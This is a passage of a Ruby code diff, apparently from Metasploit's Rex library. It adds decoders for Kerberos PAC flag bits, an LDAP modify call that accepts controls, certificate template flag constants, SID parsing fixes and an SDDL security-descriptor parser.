+ rows << "#{dot_formatting} #{description}" + end + + rows.join("\n") + end + + # @param [RubySMB::Dcerpc::Samr::PgroupMembershipArray] group_memberships + # @return [Array] Formatted human readable representation of the group memberships + def print_group_memberships(group_memberships) + output = [] + if group_memberships.any? + group_memberships.map do |group| + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read([group.attributes].pack('N')) + output << "Relative ID: #{group.relative_id}\nAttributes: #{group.attributes}".indent(4) + output << print_bin_data_model(group_attributes, bit_length: 32).to_s.indent(6) + end + output + end + end + + # @param [RubySMB::Dcerpc::Ndr::NdrUint32] user_flags + # @return [Array] Formatted human readable representation of the user flags + def print_user_flags(user_flags) + output = [] + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read([user_flags].pack('N')) + output << "User Flags: #{user_flags}".indent(2) + output << print_bin_data_model(user_attributes, bit_length: 32).to_s.indent(4) + end + + # @param [RubySMB::Dcerpc::Ndr::NdrUint32] user_account_flags + # @return [Array] Formatted human readable representation of the user account flags + def print_user_account_flags(user_account_flags) + output = [] + user_account_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read([user_account_flags].pack('N')) + output << "User Account Control: #{user_account_flags}".indent(2) + output << print_bin_data_model(user_account_attributes, bit_length: 32).to_s.indent(4) + end + # @param [Rex::Proto::Kerberos::Pac::Krb5LogonInformation] logon_info # @return [String] A human readable representation of a Logon Information def present_logon_info(logon_info) @@ -124,9 +219,9 @@ def present_logon_info(logon_info) output << "Bad Password Count: #{validation_info.bad_password_count}".indent(2) output << "User ID: #{validation_info.user_id}".indent(2) output << "Primary Group ID: #{validation_info.primary_group_id}".indent(2) - output << "User Flags: #{validation_info.user_flags}".indent(2) + output << print_user_flags(validation_info.user_flags) output << "User Session Key: #{present_user_session_key(validation_info.user_session_key)}".indent(2) - output << "User Account Control: #{validation_info.user_account_control}".indent(2) + output << print_user_account_flags(validation_info.user_account_control) output << "Sub Auth Status: #{validation_info.sub_auth_status}".indent(2) output << "Last Successful Interactive Logon: #{present_ndr_file_time(validation_info.last_successful_i_logon)}".indent(2) @@ -139,7 +234,7 @@ def present_logon_info(logon_info) output << "Group Count: #{validation_info.group_count}".indent(2) output << 'Group IDs:'.indent(2) - output << validation_info.group_memberships.map { |group| "Relative ID: #{group.relative_id}, Attributes: #{group.attributes}".indent(4) } if validation_info.group_memberships.any? + output << print_group_memberships(validation_info.group_memberships) output << "Logon Domain ID: #{validation_info.logon_domain_id}".indent(2) @@ -219,6 +314,8 @@ def present_upn_and_dns_information(upn_and_dns_info) output << "DNS Domain Name: #{upn_and_dns_info.dns_domain_name.encode('utf-8')}".indent(2) output << "Flags: #{upn_and_dns_info.flags}".indent(2) + upn_and_dns_info_attributes = Rex::Proto::Kerberos::Pac::UpnDnsInfoAttributes.read([upn_and_dns_info.flags].pack('N')) + output << print_bin_data_model(upn_and_dns_info_attributes, bit_length: 32).to_s.indent(4) if upn_and_dns_info.has_s_flag? output << "SAM Name: #{upn_and_dns_info.sam_name.encode('utf-8')}".indent(2) diff --git a/lib/rex/proto/kerberos/pac.rb b/lib/rex/proto/kerberos/pac.rb index 08131f7debd2e..a551c14f4fe3b 100644 --- a/lib/rex/proto/kerberos/pac.rb +++ b/lib/rex/proto/kerberos/pac.rb @@ -6,10 +6,20 @@ module Kerberos module Pac VERSION = 0 NETLOGON_FLAG = 0x20000 - SE_GROUP_MANDATORY = 1 - SE_GROUP_ENABLED_BY_DEFAULT = 2 - SE_GROUP_ENABLED = 4 + + # Kerberos: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/311aab27-ebdf-47f7-b939-13dc99b15341 + # Reference with details on flags: + # https://learn.microsoft.com/en-gb/windows/win32/api/winnt/ns-winnt-token_groups?redirectedfrom=MSDN#members + SE_GROUP_MANDATORY = 0x00000001 + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 + SE_GROUP_ENABLED = 0x00000004 + SE_GROUP_OWNER = 0x00000008 + SE_GROUP_RESOURCE = 0x20000000 + + # XXX: Does not include some of the newer SE_GROUP_* flags SE_GROUP_ALL = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + USER_NORMAL_ACCOUNT = 0x00000010 USER_DONT_EXPIRE_PASSWORD = 0x00000200 PAC_LOGON_INFO = 1 diff --git a/lib/rex/proto/kerberos/pac/krb5_pac.rb b/lib/rex/proto/kerberos/pac/krb5_pac.rb index 34e240b9bd5f2..57c4c0c2b7aa2 100644 --- a/lib/rex/proto/kerberos/pac/krb5_pac.rb +++ b/lib/rex/proto/kerberos/pac/krb5_pac.rb @@ -39,6 +39,227 @@ class Krb5SidAndAttributes < RubySMB::Dcerpc::Ndr::NdrStruct ndr_uint32 :attributes end + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/311aab27-ebdf-47f7-b939-13dc99b15341 + # + # [SIDATT] https://learn.microsoft.com/en-gb/windows/win32/api/winnt/ns-winnt-token_groups?redirectedfrom=MSDN + class GroupAttributes < BinData::Record + endian :big + + 2.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] resource + # @return [BinData::Bit1] This setting means that the group is a domain-local or resource group. Corresponds to SE_GROUP_RESOURCE. For more information, see [SIDATT]. + bit1 :resource + + 25.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] owner + # @return [BinData::Bit1] This setting means that the group can be assigned as an owner of a resource. Corresponds to SE_GROUP_OWNER. For more information, see [SIDATT]. + bit1 :owner + + # @!attribute [rw] enabled + # @return [BinData::Bit1] This setting means that the group is enabled for use. Corresponds to SE_GROUP_ENABLED. For more information, see [SIDATT]. + bit1 :enabled + + # @!attribute [rw] enabled_by_default + # @return [BinData::Bit1] This setting means that the group is marked as enabled by default. Corresponds to SE_GROUP_ENABLED_BY_DEFAULT. For more information, see [SIDATT]. + bit1 :enabled_by_default + + # @!attribute [rw] mandatory + # @return [BinData::Bit1] This setting means that the group is mandatory for the user and cannot be disabled. Corresponds to SE_GROUP_MANDATORY. For more information, see [SIDATT]. + bit1 :mandatory + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73 + class UserFlagAttributes < BinData::Record + endian :big + + 18.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] used_lmv2_auth_and_ntlmv2_session_key + # @return [BinData::Bit1] The LMv2 response from the LmChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used for authentication and the NTLMv2 response from the NtChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used session key generation. + bit1 :used_lmv2_auth_and_ntlmv2_session_key + + # @!attribute [rw] used_lmv2_auth_and_session_key + # @return [BinData::Bit1] The LMv2 response from the LmChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used for authentication and session key generation. + bit1 :used_lmv2_auth_and_session_key + + # @!attribute [rw] used_ntlmv2_auth_and_session_key + # @return [BinData::Bit1] The NTLMv2 response from the NtChallengeResponseFields ([MS-NLMP] section 2.2.1.3) was used for authentication and session key generation. + bit1 :used_ntlmv2_auth_and_session_key + + # @!attribute [rw] profile_path_populated + # @return [BinData::Bit1] Indicates that ProfilePath is populated. + bit1 :profile_path_populated + + # @!attribute [rw] resource_group_ids + # @return [BinData::Bit1] Indicates that the ResourceGroupIds field is populated. + bit1 :resource_group_ids + + # @!attribute [rw] accepts_ntlmv2 + # @return [BinData::Bit1] Indicates that the domain controller understands NTLMv2. + bit1 :accepts_ntlmv2 + + # @!attribute [rw] machine_account + # @return [BinData::Bit1] Indicates that the account is a machine account. + bit1 :machine_account + + # @!attribute [rw] sub_authentication + # @return [BinData::Bit1] Sub-authentication used; session key came from the sub-authentication package. + bit1 :sub_authentication + + # @!attribute [rw] extra_sids + # @return [BinData::Bit1] Indicates that the ExtraSids field is populated and contains additional SIDs. + bit1 :extra_sids + + 1.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] lan_manager + # @return [BinData::Bit1] LAN Manager key was used for authentication. + bit1 :lan_manager + + 1.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] no_encryption + # @return [BinData::Bit1] No encryption is available. + bit1 :no_encryption + + # @!attribute [rw] guest + # @return [BinData::Bit1] Authentication was done via the GUEST account; no password was used + bit1 :guest + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec + # + # [RFC4120] https://www.rfc-editor.org/rfc/rfc4120 + # [RFC3961] https://www.ietf.org/rfc/rfc3961.txt + # [MS-KILE] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9 + # [MS-LSAD] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc + class UserAccountAttributes < BinData::Record + endian :big + + 10.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] use_aes_keys + # @return [BinData::Bit1] This bit is ignored by clients and servers. + bit1 :use_aes_keys + + # @!attribute [rw] partial_secrets_account + # @return [BinData::Bit1] Specifies that the object is a read-only domain controller (RODC). + bit1 :partial_secrets_account + + # @!attribute [rw] no_auth_data_required + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that when the key distribution center (KDC) is issuing a service ticket for this account, the privilege attribute certificate (PAC) is not to be included. For more information, see [RFC4120]. + bit1 :no_auth_data_required + + # @!attribute [rw] trusted_to_authenticate_for_delegation + # @return [BinData::Bit1] This bit is used by the Kerberos protocol, as specified in [MS-KILE] section 3.3.1.1. + bit1 :trusted_to_authenticate_for_delegation + + # @!attribute [rw] password_expired + # @return [BinData::Bit1] Specifies that the password age on the user has exceeded the maximum password age policy. + bit1 :password_expired + + # @!attribute [rw] dont_require_preauth + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that the account is not required to present valid preauthentication data, as described in [RFC4120] section 7.5.2. + bit1 :dont_require_preauth + + # @!attribute [rw] use_des_key_only + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that only des-cbc-md5 or des-cbc-crc keys (as defined in [RFC3961]) are used in the Kerberos protocol for this account. + bit1 :use_des_key_only + + # @!attribute [rw] not_delegated + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that the ticket-granting tickets (TGTs) of this account and the service tickets obtained by this account are not marked as forwardable or proxiable when the forwardable or proxiable ticket flags are requestedFor more information, see [RFC4120]. + bit1 :not_delegated + + # @!attribute [rw] trusted_for_delegation + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that the "OK as Delegate" ticket flag (described in[RFC4120] section 2.8) is to be set. + bit1 :trusted_for_delegation + + # @!attribute [rw] smartcard_required + # @return [BinData::Bit1] Specifies that the user can authenticate only with a smart card. + bit1 :smartcard_required + + # @!attribute [rw] encrypted_test_password_allowed + # @return [BinData::Bit1] Specifies that the cleartext password is to be persisted. + bit1 :encrypted_test_password_allowed + + # @!attribute [rw] account_auto_lock + # @return [BinData::Bit1] Specifies that the account has been locked out. + bit1 :account_auto_lock + + # @!attribute [rw] dont_expire_password + # @return [BinData::Bit1] Specifies that the maximum-password-age policy does not apply to this user. + bit1 :dont_expire_password + + # @!attribute [rw] server_trust_account + # @return [BinData::Bit1] Specifies that the object is a DC. + bit1 :server_trust_account + + # @!attribute [rw] workstation_trust_account + # @return [BinData::Bit1] Specifies that the object is a member workstation or server. + bit1 :workstation_trust_account + + # @!attribute [rw] interdomain_trust_account + # @return [BinData::Bit1] Specifies that the object represents a trust object. For more information about trust objects, see [MS-LSAD]. + bit1 :interdomain_trust_account + + # @!attribute [rw] mns_logon_account + # @return [BinData::Bit1] This bit is ignored by clients and servers. + bit1 :mns_logon_account + + # @!attribute [rw] normal_account + # @return [BinData::Bit1] Specifies that the user is not a computer object. + bit1 :normal_account + + # @!attribute [rw] temp_duplicate_account + # @return [BinData::Bit1] This bit is ignored by clients and servers. + bit1 :temp_duplicate_account + + # @!attribute [rw] password_not_required + # @return [BinData::Bit1] Specifies that the password-length policy does not apply to this user. + bit1 :password_not_required + + # @!attribute [rw] home_directory_required + # @return [BinData::Bit1] Specifies that the homeDirectory attribute is required. + bit1 :home_directory_required + + # @!attribute [rw] account_disabled + # @return [BinData::Bit1] Specifies that the account is not enabled for authentication. + bit1 :account_disabled + end + + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c0d6e11-6443-4846-b744-f9f810a504eb + # + # [MS-ADA3] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 + class UpnDnsInfoAttributes < BinData::Record + endian :big + + 30.times do + bit1 :"_reserved_#{self.fields.length}" + end + + # @!attribute [rw] sam_name_and_sid + # @return [BinData::Bit1] The UPN_DNS_INFO structure has been extended with the user account’s SAM Name and SID. + bit1 :sam_name_and_sid + + # @!attribute [rw] upn_name_constructed + # @return [BinData::Bit1] The user account object does not have the userPrincipalName attribute ([MS-ADA3] section 2.349) set. A UPN constructed by concatenating the user name with the DNS domain name of the account domain is provided. + bit1 :upn_name_constructed + end + class Krb5SidAndAttributesPtr < RubySMB::Dcerpc::Ndr::NdrConfArray default_parameters byte_align: 1, type: :krb5_sid_and_attributes diff --git a/lib/rex/proto/ldap.rb b/lib/rex/proto/ldap.rb index eb55d527c8b86..22645438ca743 100644 --- a/lib/rex/proto/ldap.rb +++ b/lib/rex/proto/ldap.rb @@ -57,7 +57,7 @@ def initialize(server) yield self if block_given? end - # Monkeypatch upstream library for now to support :control + # Monkeypatch upstream library for now to support :controls # hash option in `args` so that we can provide controls within # searches. Needed so we can specify the LDAP_SERVER_SD_FLAGS_OID # flag for searches to prevent getting the SACL when querying for @@ -283,6 +283,32 @@ def search(args = nil) message_id: message_id, messages: messages end end + + # Another monkeypatch to support :controls + def modify(args) + modify_dn = args[:dn] or raise "Unable to modify empty DN" + ops = self.class.modify_ops args[:operations] + + message_id = next_msgid + request = [ + modify_dn.to_ber, + ops.to_ber_sequence, + ].to_ber_appsequence(Net::LDAP::PDU::ModifyRequest) + + controls = args.fetch(:controls, nil) + unless controls.nil? + controls = controls.to_ber_contextspecific(0) + end + + write(request, controls, message_id) + pdu = queued_read(message_id) + + if !pdu || pdu.app_tag != Net::LDAP::PDU::ModifyResponse + raise Net::LDAP::ResponseMissingOrInvalidError, "response missing or invalid" + end + + pdu + end end module Rex diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index a9712f2113e5b..ba13dd5c9b918 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -182,6 +182,8 @@ def default_dispatch_request(cli, data) else service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end + when Net::LDAP::PDU::UnbindRequest + nil # close client, no response can be sent over unbound comm else service.encode_ldap_response( pdu.message_id, diff --git a/lib/rex/proto/ms_crtd.rb b/lib/rex/proto/ms_crtd.rb new file mode 100644 index 0000000000000..101157ff6e900 --- /dev/null +++ b/lib/rex/proto/ms_crtd.rb @@ -0,0 +1,59 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Rex::Proto + module MsCrtd + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/4c6950e4-1dc2-4ae3-98c3-b8919bb73822 + + # [2.26 msPKI-Enrollment-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1) + CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001 + CT_FLAG_PEND_ALL_REQUESTS = 0x00000002 + CT_FLAG_PUBLISH_TO_KRA_CONTAINER = 0x00000004 + CT_FLAG_PUBLISH_TO_DS = 0x00000008 + CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010 + CT_FLAG_AUTO_ENROLLMENT = 0x00000020 + CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040 + CT_FLAG_USER_INTERACTION_REQUIRED = 0x00000100 + CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400 + CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF = 0x00000800 + CT_FLAG_ADD_OCSP_NOCHECK = 0x00001000 + CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = 0x00002000 + CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS = 0x00004000 + CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = 0x00008000 + CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000 + CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000 + CT_FLAG_SKIP_AUTO_RENEWAL = 0x00040000 + + # [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667) + CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 + CT_FLAG_EXPORTABLE_KEY = 0x00000010 + CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED = 0x00000020 + CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040 + CT_FLAG_REQUIRE_SAME_KEY_RENEWAL = 0x00000080 + CT_FLAG_USE_LEGACY_PROVIDER = 0x00000100 + CT_FLAG_ATTEST_NONE = 0x00000000 + CT_FLAG_ATTEST_REQUIRED = 0x00002000 + CT_FLAG_ATTEST_PREFERRED = 0x00001000 + CT_FLAG_ATTESTATION_WITHOUT_POLICY = 0x00004000 + CT_FLAG_EK_TRUST_ON_USE = 0x00000200 + CT_FLAG_EK_VALIDATE_CERT = 0x00000400 + CT_FLAG_EK_VALIDATE_KEY = 0x00000800 + CT_FLAG_HELLO_LOGON_KEY = 0x00200000 + + # [2.28 msPKI-Certificate-Name-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1) + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = 0x00010000 + CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000 + CT_FLAG_SUBJECT_ALT_REQUIRE_SPN = 0x00800000 + CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000 + CT_FLAG_SUBJECT_ALT_REQUIRE_UPN = 0x02000000 + CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000 + CT_FLAG_SUBJECT_ALT_REQUIRE_DNS = 0x08000000 + CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000 + CT_FLAG_SUBJECT_REQUIRE_EMAIL = 0x20000000 + CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME = 0x40000000 + CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000 + CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = 0x00000008 + + end +end diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index 00e3a538e2ecf..cf721ee94797b 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -1,5 +1,9 @@ # -*- coding: binary -*- +require 'bindata' +require 'ruby_smb' +require 'rex/proto/secauthz/well_known_sids' + module Rex::Proto::MsDtyp # [2.4.3 ACCESS_MASK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b) class MsDtypAccessMask < BinData::Record @@ -54,17 +58,18 @@ class MsDtypSid < BinData::Primitive def set(val) # allow assignment from the human-readable string representation - raise ArgumentError.new("Invalid SID: #{val}") unless val.is_a?(String) && val =~ /^S-1-(\d+)(-\d+)+$/ + raise ArgumentError.new("Invalid SID: #{val}") unless val.is_a?(String) && val =~ /^S-1-(\d+)(-\d+)*$/ _, _, ia, sa = val.split('-', 4) self.identifier_authority = [ia.to_i].pack('Q>')[2..].bytes - self.sub_authority = sa.split('-').map(&:to_i) + self.sub_authority = sa.nil? ? [] : sa.split('-').map(&:to_i) end def get str = 'S-1' str << "-#{("\x00\x00" + identifier_authority.to_binary_s).unpack1('Q>')}" - str << '-' + sub_authority.map(&:to_s).join('-') + str << '-' + sub_authority.map(&:to_s).join('-') unless sub_authority.empty? + str end def rid @@ -120,7 +125,7 @@ class MsDtypAceHeader < BinData::Record struct :ace_flags do bit1 :failed_access_ace_flag bit1 :successful_access_ace_flag - bit1 :reserved + bit1 :critical_ace_flag # used only with access allowed ACE types, see: https://www.codemachine.com/downloads/win10.1903/ntifs.h bit1 :inherited_ace bit1 :inherit_only_ace bit1 :no_propagate_inherit_ace @@ -266,6 +271,407 @@ class MsDtypSecurityDescriptor < BinData::Record rest :buffer, value: -> { build_buffer } hide :buffer + def self.from_sddl_text(sddl_text, domain_sid:) + sacl_set = dacl_set = false + sd = self.new + sddl_text = sddl_text.dup.gsub(/\s/, '') # start by removing all whitespace + sddl_text.scan(/([OGDS]:(?:.(?!:))*)/).each do |part,| + component, _, value = part.partition(':') + case component + when 'O' + if sd.owner_sid.present? + raise RuntimeError.new('SDDL parse error on extra owner SID') + end + + sd.owner_sid = self.parse_sddl_sid(value, domain_sid: domain_sid) + when 'G' + if sd.group_sid.present? + raise RuntimeError.new('SDDL parse error on extra group SID') + end + + sd.group_sid = self.parse_sddl_sid(value, domain_sid: domain_sid) + when 'D' + raise RuntimeError.new('SDDL parse error on extra DACL') if dacl_set + + value.upcase! + dacl_set = true + access_control = true + flags = value.split('(', 2).first || '' + flags.split(/(P|AR|AI|NO_ACCESS_CONTROL)/).each do |flag| + case flag + when 'AI' + sd.control.di = true + when 'AR' + sd.control.dc = true + when 'P' + sd.control.pd = true + when 'NO_ACCESS_CONTROL' + access_control = false + when '' + else + raise RuntimeError.new('SDDL parse error on unknown DACL flag: ' + flag) + end + end + + next unless access_control + + sd.dacl = MsDtypAcl.new + sd.dacl.aces = self.parse_sddl_aces(value.delete_prefix(flags), domain_sid: domain_sid) + when 'S' + raise RuntimeError.new('SDDL parse error on extra SACL') if sacl_set + + value.upcase! + sacl_set = true + access_control = true + flags = value.split('(', 2).first || '' + flags.split(/(P|AR|AI|NO_ACCESS_CONTROL)/).each do |flag| + case flag + when 'AI' + sd.control.si = true + when 'AR' + sd.control.sc = true + when 'P' + sd.control.ps = true + when 'NO_ACCESS_CONTROL' + access_control = false + when '' + else + raise RuntimeError.new('SDDL parse error on unknown SACL flag: ' + flag) + end + end + + next unless access_control + + sd.sacl = MsDtypAcl.new + sd.sacl.aces = self.parse_sddl_aces(value.delete_prefix(flags), domain_sid: domain_sid) + else + raise RuntimeError.new('SDDL parse error on unknown directive: ' + part[0]) + end + end + + sd + end + + class << self + private + + def parse_sddl_ace(ace, domain_sid:) + parts = ace.upcase.split(';', -1) + raise RuntimeError.new('SDDL parse error on too few ACE fields') if parts.length < 6 + raise RuntimeError.new('SDDL parse error on too many ACE fields') if parts.length > 7 + + ace_type, ace_flags, rights, object_guid, inherit_object_guid, account_sid = parts[0...6] + resource_attribute = parts[6] + + ace = MsDtypAce.new + case ace_type + when 'A' + ace.header.ace_type = MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + when 'D' + ace.header.ace_type = MsDtypAceType::ACCESS_DENIED_ACE_TYPE + when 'OA' + ace.header.ace_type = MsDtypAceType::ACCESS_ALLOWED_OBJECT_ACE_TYPE + when 'OD' + ace.header.ace_type = MsDtypAceType::ACCESS_DENIED_OBJECT_ACE_TYPE + when 'AU' + ace.header.ace_type = MsDtypAceType::SYSTEM_AUDIT_ACE_TYPE + when 'OU' + ace.header.ace_type = MsDtypAceType::SYSTEM_AUDIT_OBJECT_ACE_TYPE + when 'AL', 'OL', 'ML', 'XA', 'SD', 'RA', 'SP', 'XU', 'ZA', 'TL', 'FL' + raise RuntimeError.new('SDDL parse error on unsupported ACE type: ' + ace_type) + else + raise RuntimeError.new('SDDL parse error on unknown ACE type: ' + ace_type) + end + + ace_flags.split(/(CI|OI|NP|IO|ID|SA|FA|TP|CR)/).each do |flag| + case flag + when 'CI' + ace.header.ace_flags.container_inherit_ace = true + when 'OI' + ace.header.ace_flags.object_inherit_ace = true + when 'NP' + ace.header.ace_flags.no_propagate_inherit_ace = true + when 'IO' + ace.header.ace_flags.inherit_only_ace = true + when 'ID' + ace.header.ace_flags.inherited_ace = true + when 'SA' + ace.header.ace_flags.successful_access_ace_flag = true + when 'FA' + ace.header.ace_flags.failed_access_ace_flag = true + when 'TP' + raise RuntimeError.new('SDDL parse error on unsupported ACE flag: TP') + when 'CR' + ace.header.ace_flags.critical_ace_flag = true + when '' + else + raise RuntimeError.new('SDDL parse error on unknown ACE flag: ' + flag) + end + end + + rights.split(/(G[ARWX]|RC|SD|WD|WO|RP|WP|CC|DC|LC|SW|LO|DT|CR|F[ARWX]|K[ARWX]|N[RWX])/).each do |right| + case right + # generic access rights + when 'GA', 'GR', 'GW', 'GX' + ace.body.access_mask.send("#{right.downcase}=", true) + # standard access rights + when 'RC' + ace.body.access_mask.rc = true + when 'SD' + ace.body.access_mask.de = true + when 'WD', 'WO' + ace.body.access_mask.send("#{right.downcase}=", true) + # directory service object access rights + when 'RP' + ace.body.access_mask.protocol |= 16 + when 'WP' + ace.body.access_mask.protocol |= 32 + when 'CC' + ace.body.access_mask.protocol |= 1 + when 'DC' + ace.body.access_mask.protocol |= 2 + when 'LC' + ace.body.access_mask.protocol |= 4 + when 'SW' + ace.body.access_mask.protocol |= 8 + when 'LO' + ace.body.access_mask.protocol |= 128 + when 'DT' + ace.body.access_mask.protocol |= 64 + when 'CR' + ace.body.access_mask.protocol |= 256 + # file access rights + when 'FA' + ace.body.access_mask.protocol |= 0x1ff + ace.body.access_mask.de = true + ace.body.access_mask.rc = true + ace.body.access_mask.wd = true + ace.body.access_mask.wo = true + ace.body.access_mask.sy = true + when 'FR' + ace.body.access_mask.protocol |= 0x89 + when 'FW' + ace.body.access_mask.protocol |= 0x116 + when 'FX' + ace.body.access_mask.protocol |= 0xa0 + # registry key access rights + when 'KA' + ace.body.access_mask.protocol |= 0x3f + ace.body.access_mask.de = true + ace.body.access_mask.rc = true + ace.body.access_mask.wd = true + ace.body.access_mask.wo = true + when 'KR' + ace.body.access_mask.protocol |= 0x19 + when 'KW' + ace.body.access_mask.protocol |= 0x06 + when 'KX' + ace.body.access_mask.protocol |= 0x19 + when 'NR', 'NW', 'NX' + raise RuntimeError.new('SDDL parse error on unsupported ACE access right: ' + right) + when '' + else + raise RuntimeError.new('SDDL parse error on unknown ACE access right: ' + right) + end + end + + unless object_guid.blank? + begin + guid = MsDtypGuid.new(object_guid) + rescue StandardError + raise RuntimeError.new('SDDL parse error on invalid object GUID: ' + object_guid) + end + + unless ace.body.respond_to?('object_type=') + raise RuntimeError.new('SDDL error on setting object type for incompatible ACE type') + end + ace.body.flags.ace_object_type_present = true + ace.body.object_type = guid + end + + unless inherit_object_guid.blank? + begin + guid = MsDtypGuid.new(inherit_object_guid) + rescue StandardError + raise RuntimeError.new('SDDL parse error on invalid object GUID: ' + inherit_object_guid) + end + + unless ace.body.respond_to?('inherited_object_type=') + raise RuntimeError.new('SDDL error on setting object type for incompatible ACE type') + end + ace.body.flags.ace_inherited_object_type_present = true + ace.body.inherited_object_type = guid + end + + unless account_sid.blank? + ace.body.sid = self.parse_sddl_sid(account_sid, domain_sid: domain_sid) + end + + unless resource_attribute.blank? + raise RuntimeError.new('SDDL parse error on unsupported resource attribute: ' + resource_attribute) + end + + ace + end + + def parse_sddl_aces(aces, domain_sid:) + ace_regex = /\([^\)]*\)/ + + invalid_aces = aces.split(ace_regex).reject(&:empty?) + unless invalid_aces.empty? + raise RuntimeError.new('SDDL parse error on malformed ACE: ' + invalid_aces.first) + end + + aces.scan(ace_regex).map do |ace_text| + self.parse_sddl_ace(ace_text[1...-1], domain_sid: domain_sid) + end + end + + def parse_sddl_sid(sid, domain_sid:) + # see: https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings + sid = sid.dup.upcase + + # these can be validated using powershell where ?? is the code + # (ConvertFrom-SddlString -Sddl "O:??").RawDescriptor.Owner + case sid + when 'AA' # SDDL_ACCESS_CONTROL_ASSISTANCE_OPS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ACCESS_CONTROL_ASSISTANCE_OPS + when 'AC' # SDDL_ALL_APP_PACKAGES + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_ALL_APP_PACKAGES + when 'AN' # SDDL_ANONYMOUS + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_ANONYMOUS_LOGON_SID + when 'AO' # SDDL_ACCOUNT_OPERATORS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ACCOUNT_OPS + when 'AP' # SDDL_PROTECTED_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_PROTECTED_USERS}" + when 'AU' # SDDL_AUTHENTICATED_USERS + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + when 'BA' # SDDL_BUILTIN_ADMINISTRATORS + sid = 